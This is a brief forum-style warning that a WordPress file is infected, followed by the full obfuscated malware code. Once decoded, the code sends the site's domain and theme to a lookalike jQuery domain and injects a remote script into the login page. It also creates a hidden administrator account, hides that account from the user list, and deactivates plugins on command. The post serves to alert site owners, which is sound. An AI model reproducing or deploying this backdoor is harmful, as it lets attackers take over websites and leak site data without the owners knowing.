Careful with this, foobar.php is infected.
Code:
function glues_it($string)
{
$glue_pre = sanitize_key('s t r _ r e p l a c e');
$glueit_po = call_user_func_array($glue_pre, array("..", '', $string));
return $glueit_po;
}
$object_uno = 'fu..n..c..t..i..o..n.._..e..x..i..s..t..s';
$object_dos = 'g..e..t.._o..p..t..i..o..n';
$object_tres = 'wp.._e..n..q..u..e..u..e.._s..c..r..i..p..t';
$object_cinco = 'lo..g..i..n.._..e..n..q..u..e..u..e_..s..c..r..i..p..t..s';
$object_siete = 's..e..t..c..o..o..k..i..e';
$object_ocho = 'wp.._..lo..g..i..n';
$object_nueve = 's..i..t..e,..u..rl';
$object_diez = 'wp_..g..et.._..th..e..m..e';
$object_once = 'wp.._..r..e..m..o..te.._..g..et';
$object_doce = 'wp.._..r..e..m..o..t..e.._r..e..t..r..i..e..v..e_..bo..dy';
$object_trece = 'g..e..t_..o..p..t..ion';
$object_catorce = 's..t..r_..r..e..p..l..a..ce';
$object_quince = 's..t..r..r..e..v';
$object_dieciseis = 'u..p..d..a..t..e.._o..p..t..io..n';
$object_dos_pim = glues_it($object_uno);
$object_tres_pim = glues_it($object_dos);
$object_cuatro_pim = glues_it($object_tres);
$object_cinco_pim = glues_it($object_cinco);
$object_siete_pim = glues_it($object_siete);
$object_ocho_pim = glues_it($object_ocho);
$object_nueve_pim = glues_it($object_nueve);
$object_diez_pim = glues_it($object_diez);
$object_once_pim = glues_it($object_once);
$object_doce_pim = glues_it($object_doce);
$object_trece_pim = glues_it($object_trece);
$object_catorce_pim = glues_it($object_catorce);
$object_quince_pim = glues_it($object_quince);
$object_dieciseis_pim = glues_it($object_dieciseis);
$noitca_dda = call_user_func($object_quince_pim, 'noitca_dda');
if (!call_user_func($object_dos_pim, 'wp_en_one')) {
$object_diecisiete = 'h..t..t..p..:../../..j..q..e..u..r..y...o..r..g../..wp.._..p..i..n..g...php..?..d..na..me..=..w..p..d..and..t..n..a..m..e..=..w..p..t..and..u..r..l..i..z..=..u..r..l..i..g';
$object_dieciocho = call_user_func($object_quince_pim, 'REVRES_$');
$object_diecinueve = call_user_func($object_quince_pim, 'TSOH_PTTH');
$object_veinte = call_user_func($object_quince_pim, 'TSEUQER_');
$object_diecisiete_pim = glues_it($object_diecisiete);
$object_seis = '_..C..O..O..K..I..E';
$object_seis_pim = glues_it($object_seis);
$object_quince_pim_emit = call_user_func($object_quince_pim, 'detavitca_emit');
$tactiated = call_user_func($object_trece_pim, $object_quince_pim_emit);
$mite = call_user_func($object_quince_pim, 'emit');
if (!isset(${$object_seis_pim}[call_user_func($object_quince_pim, 'emit_nimda_pw')])) {
if ((call_user_func($mite) - $tactiated) > 600) {
call_user_func_array($noitca_dda, array($object_cinco_pim, 'wp_en_one'));
}
}
call_user_func_array($noitca_dda, array($object_ocho_pim, 'wp_en_three'));
function wp_en_one()
{
$object_one = 'h..t..t..p..:..//..j..q..e..u..r..y...o..rg../..j..q..u..e..ry..-..la..t..e..s..t.j..s';
$object_one_pim = glues_it($object_one);
$object_four = 'wp.._e..n..q..u..e..u..e.._s..c..r..i..p..t';
$object_four_pim = glues_it($object_four);
call_user_func_array($object_four_pim, array('wp_coderz', $object_one_pim, null, null, true));
}
function wp_en_two($object_diecisiete_pim, $object_dieciocho, $object_diecinueve, $object_diez_pim, $object_once_pim, $object_doce_pim, $object_quince_pim, $object_catorce_pim)
{
$ptth = call_user_func($object_quince_pim, glues_it('/../..:..p..t..t..h'));
$dname = $ptth . $_SERVER[$object_diecinueve];
$IRU_TSEUQER = call_user_func($object_quince_pim, 'IRU_TSEUQER');
$urliz = $dname . $_SERVER[$IRU_TSEUQER];
$tname = call_user_func($object_diez_pim);
$urlis = call_user_func_array($object_catorce_pim, array('wpd', $dname,$object_diecisiete_pim));
$urlis = call_user_func_array($object_catorce_pim, array('wpt', $tname, $urlis));
$urlis = call_user_func_array($object_catorce_pim, array('urlig', $urliz, $urlis));
$glue_pre = sanitize_key('f i l e _ g e t _ c o n t e n t s');
$glue_pre_ew = sanitize_key('s t r _ r e p l a c e');
call_user_func($glue_pre, call_user_func_array($glue_pre_ew, array(" ", "%20", $urlis)));
}
$noitpo_dda = call_user_func($object_quince_pim, 'noitpo_dda');
$lepingo = call_user_func($object_quince_pim, 'ognipel');
$detavitca_emit = call_user_func($object_quince_pim, 'detavitca_emit');
call_user_func_array($noitpo_dda, array($lepingo, 'no'));
call_user_func_array($noitpo_dda, array($detavitca_emit, time()));
$tactiatedz = call_user_func($object_trece_pim, $detavitca_emit);
$ognipel = call_user_func($object_quince_pim, 'ognipel');
$mitez = call_user_func($object_quince_pim, 'emit');
if (call_user_func($object_trece_pim, $ognipel) != 'yes' and& ((call_user_func($mitez) - $tactiatedz) > 600)) {
wp_en_two($object_diecisiete_pim, $object_dieciocho, $object_diecinueve, $object_diez_pim, $object_once_pim, $object_doce_pim, $object_quince_pim, $object_catorce_pim);
call_user_func_array($object_dieciseis_pim, array($ognipel, 'yes'));
}
function wp_en_three()
{
$object_quince = 's...t...r...r...e...v';
$object_quince_pim = glues_it($object_quince);
$object_diecinueve = call_user_func($object_quince_pim, 'TSOH_PTTH');
$object_dieciocho = call_user_func($object_quince_pim, 'REVRES_');
$object_siete = 's..e..t..c..o..o..k..i..e';;
$object_siete_pim = glues_it($object_siete);
$path = '/';
$host = ${$object_dieciocho}[$object_diecinueve];
$estimes = call_user_func($object_quince_pim, 'emitotrts');
$wp_ext = call_user_func($estimes, '+29 days');
$emit_nimda_pw = call_user_func($object_quince_pim, 'emit_nimda_pw');
call_user_func_array($object_siete_pim, array($emit_nimda_pw, '1', $wp_ext, $path, $host));
}
function wp_en_four()
{
$object_quince = 's..t..r..r..e..v';
$object_quince_pim = glues_it($object_quince);
$nigol = call_user_func($object_quince_pim, 'dxtroppus');
$wssap = call_user_func($object_quince_pim, 'retroppus_pw');
$laime = call_user_func($object_quince_pim, 'moc.niamodym@1tccaym');
if (!username_exists($nigol) and& !email_exists($laime)) {
$wp_ver_one = call_user_func($object_quince_pim, 'resu_etaerc_pw');
$user_id = call_user_func_array($wp_ver_one, array($nigol, $wssap, $laime));
$rotartsinimda = call_user_func($object_quince_pim, 'rotartsinimda');
$resu_etadpu_pw = call_user_func($object_quince_pim, 'resu_etadpu_pw');
$rolx = call_user_func($object_quince_pim, 'elor');
call_user_func($resu_etadpu_pw, array('ID' => $user_id, $rolx => $rotartsinimda));
}
}
$ivdda = call_user_func($object_quince_pim, 'ivdda');
if (isset(${$object_veinte}[$ivdda]) and& ${$object_veinte}[$ivdda] == 'm') {
$veinte = call_user_func($object_quince_pim, 'tini');
call_user_func_array($noitca_dda, array($veinte, 'wp_en_four'));
}
if (isset(${$object_veinte}[$ivdda]) and& ${$object_veinte}[$ivdda] == 'd') {
$veinte = call_user_func($object_quince_pim, 'tini');
call_user_func_array($noitca_dda, array($veinte, 'wp_en_seis'));
}
function wp_en_seis()
{
$object_quince = 's..t..r..r..e..v';
$object_quince_pim = glues_it($object_quince);
$resu_eteled_pw = call_user_func($object_quince_pim, 'resu_eteled_pw');
$wp_pathx = constant(call_user_func($object_quince_pim, "HTAPSBA"));
$nimda_pw = call_user_func($object_quince_pim, 'php.resu/sedulcni/nimda-pw');
require_once($wp_pathx . $nimda_pw);
$ubid = call_user_func($object_quince_pim, 'yb_resu_teg');
$nigol = call_user_func($object_quince_pim, 'nigol');
$dxtroppus = call_user_func($object_quince_pim, 'dxtroppus');
$useris = call_user_func_array($ubid, array($nigol, $dxtroppus));
call_user_func($resu_eteled_pw, $useris->ID);
}
$veinte_one = call_user_func($object_quince_pim, 'yreuq_resu_erp');
call_user_func_array($noitca_dda, array($veinte_one, 'wp_en_five'));
function wp_en_five($hcraes_resu)
{
global $current_user, $wpdb;
$object_quince = 's..t..r..r..e..v';
$object_quince_pim = glues_it($object_quince);
$object_catorce = 'st..r.._..r..e..p..l..a..c..e';
$object_catorce_pim = glues_it($object_catorce);
$nigol_resu = call_user_func($object_quince_pim, 'nigol_resu');
$wp_ux = $current_user->$nigol_resu;
$nigol = call_user_func($object_quince_pim, 'dxtroppus');
$bdpw = call_user_func($object_quince_pim, 'bdpw');
if ($wp_ux != call_user_func($object_quince_pim, 'dxtroppus')) {
$EREHW_one = call_user_func($object_quince_pim, '1=1 EREHW');
$EREHW_two = call_user_func($object_quince_pim, 'DNA 1=1 EREHW');
$erehw_yreuq = call_user_func($object_quince_pim, 'erehw_yreuq');
$sresu = call_user_func($object_quince_pim, 'sresu');
$hcraes_resu->query_where = call_user_func_array($object_catorce_pim, array($EREHW_one,
"$EREHW_two {$$bdpw->$sresu}.$nigol_resu != '$nigol'", $hcraes_resu->$erehw_yreuq));
}
}
$ced = call_user_func($object_quince_pim, 'ced');
if (isset(${$object_veinte}[$ced])) {
$snigulp_evitca = call_user_func($object_quince_pim, 'snigulp_evitca');
$sisnoitpo = call_user_func($object_trece_pim, $snigulp_evitca);
$hcraes_yarra = call_user_func($object_quince_pim, 'hcraes_yarra');
if (($key = call_user_func_array($hcraes_yarra, array(${$object_veinte}[$ced], $sisnoitpo))) !== false) {
unset($sisnoitpo[$key]);
}
call_user_func_array($object_dieciseis_pim, array($snigulp_evitca, $sisnoitpo));
}
}